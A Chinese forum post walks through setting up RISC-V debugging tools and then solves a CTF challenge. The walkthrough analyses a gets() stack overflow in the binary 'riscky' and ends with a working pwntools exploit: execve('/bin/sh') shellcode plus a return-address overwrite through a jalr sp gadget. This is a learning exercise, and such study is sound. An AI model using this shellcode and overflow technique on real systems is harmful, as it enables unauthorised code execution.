首页
论坛
课程
招聘
[原创]risc-v环境搭建及调试
2022-5-10 21:20 5520

[原创]risc-v环境搭建及调试

2022-5-10 21:20
5520

二:risc-v程序调试环境搭建

1.安装gdb-multiarch

gdb-multiarch是含有多种架构接口的调试器

1
sudo apt-get install gdb-multiarch

2.安装qemu-user

对于一般的非x86架构的程序,可以用user模式模拟,有的可能需要system模式来模拟程序运行所需的环境

1
sudo apt install qemu-user

3.安装riscv-gnu-toolchain

直接把所有仓库都克隆下来

1
2
3
git clone --recursive https://github.com/riscv-collab/riscv-gnu-toolchain.git
./configure --prefix=/opt/riscv 
make

因为这个工具链太大了,所以make需要很长的时间,而且还可能会报错(别问我怎么知道的┭┮﹏┭┮),而且没有我所需要的riscv64-linux-gnu-gdb,所以我选择直接下载gz文件

 

网址:https://github.com/riscv-collab/riscv-gnu-toolchain/releases
解压之后,在bin目录下会有各种工具。

就可以使用了

三:实例

1.分析

 

题目里给了docker,这种题可以在dockerfile里换源在build,这样成功率高很多。题目是一道risc-v的架构,由于不能用ida反汇编,我直接读了下汇编代码,幸好不长;

 

其实我也用ghrdia了,但是我环境有问题,一直不能反汇编。

1
2
3
4
5
6
Arch:     em_riscv-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x10000)
RWX:      Has RWX segments
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var_s0=  0
var_s8=  8
arg_0=  10h
 
addi            sp, sp, -210h    //528
sd              ra, 200h+var_s8(sp)
sd              s0, 200h+var_s0(sp)
addi            s0, sp, 200h+arg_0
li              a1, 0
sd              a1, -210h(s0)
sw              a1, -14h(s0)
ld              a0, stdin_ptr
ld              a0, 0(a0)
jal             setbuf
ld              a1, -210h(s0)
ld              a0, stdout_ptr
ld              a0, 0(a0)
jal             setbuf
la              a1, failed
li              a0, 0Bh
jal             ssignal
la              a0, aDonTMiss # "Don't miss!"
jal             puts
la              a0, asc_4C6FC # "> "
jal             printf
addi            a0, s0, -208h
jal             gets    //栈溢出
ld              a0, -210h(s0)
ld              s0, 200h+var_s0(sp)
ld              ra, 200h+var_s8(sp)  //ra为返回地址 
addi            sp, sp, 210h
ret

调试一下得

 

 

 

risc-v的返回地址存在ra内,利用分析在下面。

2.汇编调试

这里说一下怎么调试,在entrypoint.sh内加上-g 9000,然后启动docker;

1
2
docker build --no-cache -t riscky .
docker run --rm -d --name riscky -p 9000:9000 -p 9999:9999 riscky

之后开两个终端,一个nc 127.0.0.1 9999,另一个终端运行gdb-multiarch riscv,在target remote 127.0.0.1:9000

 

 

gets的时候我们输入了8字节的a,栈的地址为0x40008009c0

 

从0x40008009c8(sp+8处)开始读入,我们看到后面的汇编也比较简单。由于对risc-v的汇编不是很熟悉,就单步一下看看变化,就是将s0-528处的数据传给a0;

 


 

再下面就是将sp+512地址处的数据传给s0;

 


 

后面就到了重头戏,ra的控制;所以我们只需要控制sp+520处的数据,就可以劫持程序执行流程。

 


3.getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
 
binary = ELF('./riscky', checksec=False)
context.arch = 'riscv'
context.bits = 64
 
 
p = process('qemu-riscv64 riscky'.split())
# https://thomask.sdf.org/blog/2018/08/25/basic-shellcode-in-riscv-linux.html
shellcode = asm(f'''
li s1, {'0x' + bytes.hex(b'/bin/sh'[::-1])}
sd s1, -16(sp)              # Store dword s1 on the stack
addi a0,sp,-16              # a0 = filename = sp + (-16)
slt a1,zero,-1              # a1 = argv set to 0
slt a2,zero,-1              # a2 = envp set to 0
li a7, 221                  # execve = 221
ecall                       # Do syscall
''')
 
if args.D: print(disasm(shellcode))
 
payload  = b''
payload += (520 - 8) * b'A'     #先填充512字节垃圾数据,因为是从sp+8处开始读入的,所以填512字节足矣
payload += p64(0x1060c#0x1060c   jalr            sp   劫持程序流所用的gadget
payload += shellcode     #在addi sp,sp,528之后sp为shellcode的地址
 
p.sendlineafter(b'> ', payload)
p.interactive()

【看雪培训】《Adroid高级研修班》2022年夏季班招生中!

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回